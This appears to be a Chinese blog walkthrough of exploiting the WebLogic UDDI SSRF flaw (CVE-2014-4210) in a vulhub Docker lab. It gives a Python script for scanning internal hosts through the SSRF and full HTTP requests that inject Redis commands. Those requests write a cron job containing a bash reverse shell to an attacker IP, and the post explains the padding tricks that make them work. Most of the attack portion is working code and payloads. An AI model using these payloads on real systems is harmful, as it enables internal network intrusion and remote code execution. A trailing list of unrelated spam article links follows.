当前位置: 首页 > news >正文

WebLogic UDDI (CVE-2014-4210)

漏洞简介 Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻 击内网中 Redis 、 Fastcgi 等脆弱组件。 漏洞生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中,可以导致 SSRF , 用来攻击内网中一些 redis 和 fastcgi 之类的脆弱组件

执行如下命令启动WebLogic服务器:

docker compose up -d

服务启动后,访问http://your-ip:7001/uddiexplorer/即可查看UDDI Explorer应用,无需登录认证。

探测主机存活

1. 随机访问一个端口则会显示 could not connect :

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.227.128:7001
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.227.128:7001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.227.128:7001/uddiexplorer/SearchPublicRegistries.jsp
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=vnvsqjYF2YZc2ftz8hS7WR3FDQwZ2Gy5QrNTNzK42D2rLqMm4Vpl!-1893278756
Connection: keep-alive

operator=http://172.26.165.181:9999&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

2. 一个非http的协议则会返回 did not have a valid SOAP

3. 不存活的主机就No route to host

内网存活探测脚本

import requests # 1. 用你 ifconfig 查出来的真实 Kali 本地 IP url = "http://192.168.227.128:7001/uddiexplorer/SearchPublicRegistries.jsp" ports = [6378, 6379, 22, 25, 80, 8080, 8888, 8000, 7001, 7002] print("[+] 开始内网存活资产扫描探测...") for i in range(1, 255): for port in ports: # 2. 得到的 172.18.0 params = dict( rdoSearch="name", txtSearchname="sdf", selfor="Business+location", btnSubmit="Search", operator="http://172.18.0.{}:{}".format(i, port) ) try: r = requests.get(url, params=params, timeout=3) if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text: # 3. 【已修正】打印位置也同步修改为 172.18.0 print('[*] 成功发现内网开放服务 -> http://172.18.0.{}:{}'.format(i, port)) else: pass except: pass print("[+] 扫描结束。") import requests # 1. 【已修正】使用你 ifconfig 查出来的真实 Kali 本地 IP url = "http://172.26.165" ports = [6378, 6379, 22, 25, 80, 8080, 8888, 8000, 7001, 7002] print("[+] 开始内网存活资产扫描探测...") for i in range(1, 255): for port in ports: # 2. 【已修正】将盲猜的 172.23.0 替换为你 docker inspect 得到的 172.18.0 params = dict( rdoSearch="name", txtSearchname="sdf", selfor="Business+location", btnSubmit="Search", operator="http://172.18.0.{}:{}".format(i, port) ) try: r = requests.get(url, params=params, timeout=3) if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text: print('[*] 成功发现内网开放服务 -> http://172.18.0.{}:{}'.format(i, port)) else: pass except: pass print("[+] 扫描结束。")

注意在docker中复现需要先开启另一个容器

配置内网环境

查看当前容器的网段

┌──(root㉿QSS)-[/home/qss/vulhub/weblogic/ssrf]

└─# docker inspect 容器的名字 | grep -i "IPAddress"

强制在一个网段,不然脚本无法成功

┌──(root㉿QSS)-[/home/qss/vulhub/weblogic/ssrf]

└─#docker network connect ssrf_default dazzling_murdock

再次查看ok了

┌──(root㉿QSS)-[/home/qss/vulhub/weblogic/ssrf]

└─# docker inspect dazzling_murdock | grep -i "IPAddress"

"IPAddress": "172.17.0.2",

"IPAddress": "172.18.0.2",

SSRF攻击内网Redis

写定时任务

注意该靶场复现一定要有CentOS环境,没有不行

没有配好的看总结-CentOS环境配置

注意你的攻击机要监听你构造的端口,我的21

nc -lvvp 21

payload构造:

我的总结里面有构造原理,比如test,aaa作用

test set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/172.26.165.181/21 0>&1'\n\n\n\n" config set dir /var/spool/cron/ config set dbfilename crontab save aaa

用CyberChef,url,编码一次

完整的报文GET和POST都try,可能

http://172.18.0.2:6379,目标靶机的地址

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.18.0.2:6379/test%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn%2A%2F1%20%2A%20%2A%20%2A%20%2A%20%2Fbin%2Fbash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F172%2E26%2E165%2E181%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2F%0Aconfig%20set%20dbfilename%20root%0Asave%0Aaaa&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1 Host: 172.26.165.181:7001 Content-Length: 0 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Origin: http://172.26.165.181:7001 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://172.26.165 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: keep-alive
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1 Host: 192.168.227.128:7001 Content-Length: 389 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Origin: http://192.168.227.128:7001 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.227.128:7001/uddiexplorer/SearchPublicRegistries.jsp Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=kj2hqjNfFK4ZDvM1yjnktQV6FBXwKdwh8LXvHDZJJxmsvQ1syxvY!-1893278756 Connection: keep-alive operator=http://172.18.0.2:6379/test%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E&%20/dev/tcp/172.26.165.181/21%200%3E&1'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20/etc/%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0Aaaa%0A%0i&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

版本太高被CPS协议拦截了

只要你的 Payload 里面带有POSTHost:等 HTTP 协议特征,Redis 就会瞬间自闭,拒绝执行任何后续命令。

要你把 Redis 的版本降低到 3.2.7 之下(例如 3.0.x 或 2.x 版本),Redis 的源码里就根本没有这段针对 POST 和 Host: 的安全检查。

ok

总结

test,aaa作用

1. 开头的test:要的!用来抵消 WebLogic 自带的垃圾协议

当 WebLogic 替你向内网发包时,如果你给的参数是operator=,WebLogic 发出的网络请求第一行长这样:

GET / HTTP/1.1
  • 如果不加test:Redis 会直接收到GET / HTTP/1.1,因为它不是标准的 Redis 命令,Redis 会报错并断开连接,你后面的set 1连执行的机会都没有。
  • 加了test:WebLogic 发出的第一行变成了GET /test HTTP/1.1。黑客在test后面打了两个回车换行,Redis 收到后,只会把第一行GET /test HTTP/1.1当成一个坏掉的错误命令抛弃(不影响服务),然后顺着你给的两个回车换行,重新另起一行,开始清清白白地执行你的set 1

2. 结尾的aaa:必须得要!用来隔离 WebLogic 屁股后面的表单脏数据

还记得你抓出来的 Burp Suite 完整报文吗?最下方长这样:

operator=你的Payload&rdoSearch=name&txtSearchname=&txtSearchkey=...

当 WebLogic 转发你的请求时,它会非常“热心”地把你 Payload 后面自带的&rdoSearch=name...这一长串表单参数,一字不差地全部粘在你 Payload 的最末尾。

  • 如果不加aaa:Redis 收到的最后一行命令会变成:
    save&rdoSearch=name&txtSearchname=...
    • 后果:Redis 根本不认识save&rdoSearch=name是什么,直接报错抛弃。这就导致你最关键的 “保存到硬盘(save)” 动作在内网里根本没有被执行,文件自然不会落盘,复现失败。

CentOS环境配置

CentOS 7 确实已经全面过期,其官方 YUM 源已被官方下线,导致现在直接使用yum install会报错无法下载软件。

# 拉取静态镜像
docker pull centos:7

# 交互式启动并将其命名为漏洞复现专用容器
docker run -itd --name security-centos7 centos:7 /bin/bash

第一步:修复 CentOS 7 容器的 YUM 源

# 1. 启动并进入你的 centos:7 容器

docker run -it centos:7 /bin/bash

cat <<EOF > /etc/yum.repos.d/CentOS-Base.repo

[base]

name=CentOS-7.9.2009 - Base - Aliyun Vault

baseurl=http://mirrors.aliyun.com/centos-vault/7.9.2009/os/x86_64/

enabled=1

gpgcheck=0

EOF

cat <<EOF > /etc/yum.repos.d/epel-archive.repo

[epel-archive]

name=Extra Packages for Enterprise Linux 7 - Archive - Aliyun

baseurl=http://mirrors.aliyun.com/epel-archive/7/x86_64/

enabled=1

gpgcheck=0

EOF

# 3. 清理并生成新的 YUM 缓存

yum clean all

yum makecache


第二步:在 CentOS 7 中安装并配置 Redis和cron

# 安装 Redis 服务

版本不要太高,指定低版本


# 强制指定版本号安装定时任务与低版本 Redis 3.0.7
yum install -y crontabs redis-3.0.7

# 直接启动核心服务,通过参数关闭保护模式,并允许外网绑定

redis-server --protected-mode no --bind 0.0.0.0 &

检查的指令

redis-cli ping

安装定时任务守护进程

yum install -y crontabs

一定要有&,不然会卡在前端

&然他后台运行

[root@6b9510d21649 spool]#/usr/sbin/crond &

检查运行与否

[root@6b9510d21649 spool]#ps -ef | grep cron

配置内网环境

┌──(root㉿QSS)-[/home/qss/vulhub/weblogic/ssrf]

└─# docker inspect dazzling_murdock | grep -i "IPAddress"

"IPAddress": "172.17.0.2",

┌──(root㉿QSS)-[/home/qss/vulhub/weblogic/ssrf]

└─# docker inspect ssrf-weblogic-1 | grep -i "IPAddress"

"IPAddress": "172.18.0.3",

┌──(root㉿QSS)-[/home/qss/vulhub/weblogic/ssrf]

└─#docker network connect ssrf_default dazzling_murdock

┌──(root㉿QSS)-[/home/qss/vulhub/weblogic/ssrf]

└─# docker inspect dazzling_murdock | grep -i "IPAddress"

"IPAddress": "172.17.0.2",

"IPAddress": "172.18.0.2",

http://www.gsyq.cn/news/1486935.html

相关文章:

  • 智能医学工程导论结课汇报
  • Libevent零基础入门教程:纯Event实现高并发网络编程
  • 如何解决区域创新底数不清的问题?
  • 题解:洛谷 AT_abc461_b [ABC461B] The Honest Woodcutters
  • CSDN AI数字营销套餐真相曝光:3大关键时间节点+2种避坑组合,9月起费率或将上调?
  • CompressO终极指南:完全免费开源的视频图片压缩神器,轻松解决存储焦虑
  • 从“盲拍”到“全景”:PF3plat 让三维重建学会“无中生有”
  • MDIN380芯片多路视频输出驱动:HDMI+VGA+CVBS+YPbPr全接口支持包
  • 人气爆棚!探访湘潭热门麻辣烫店,饭点座无虚席还排队 - 资讯快报
  • FanControl终极指南:Windows风扇控制软件深度解析与实战配置
  • 宜兴SEO优化公司|品牌搜索曝光升级,宜兴网站优化公司能力解析 - 招财兔数字员工
  • 3步实现智能视频生成:Pixelle-Video全自动AI短视频创作完全指南
  • 从办公室网段隔离到智能家居分组:VLAN在eNSP里的实战场景模拟
  • 5步完成Windows 11深度优化:Win11Debloat终极去广告与隐私保护指南
  • 从零到一构建系统级工具的完整过程:我的第一个Rust项目复盘
  • 马鞍山SEO优化公司|制造业关键词布局,马鞍山SEO代运营服务商综合盘点 - 招财兔数字员工
  • B站弹幕屏蔽词批量管理工具:架构深度解析与实战应用指南
  • TEKLauncher终极指南:5分钟搞定方舟MOD管理与服务器搭建
  • 收的顶实测 | 2026 天津黄金回收指南:黄金、钻石、翡翠怎么卖才不亏? - 奢侈品回收评测
  • 深圳劳力士表盘夜光不均有多丑?拆解夜光粉涂覆工艺与氧化差异:为何只有原厂换盘才能根治“阴阳色”? - 亨得利官方维修中心
  • AntiDupl.NET终极指南:免费开源图片去重工具快速清理数字垃圾
  • 3个实战场景揭示:为什么Stable Baselines3成为强化学习框架的首选?
  • 武汉爱而迷联系电话是多少?正规对接方式与品牌详解 - 中媒介
  • 行情高位变现!2026广州黄金回收TOP1报价超亲民 - 开心测评
  • 【H1】深度工业测评:双叠自锁垫圈出厂前要做哪些测试?重型机械紧固件抗震防线的硬核数据解构
  • 重庆力冠衡器:自贡电子测量仪器公司 - LYL仔仔
  • 深度解析RTAB-Map:基于外观记忆的实时SLAM系统架构与工程实践
  • 老客带新客!湘潭这家麻辣烫口碑出圈,食客扎堆前来品尝 - 资讯快报
  • MCreator终极指南:无需编程基础快速制作我的世界模组
  • 基于LIN总线的分布式五轴机器人控制系统设计与实现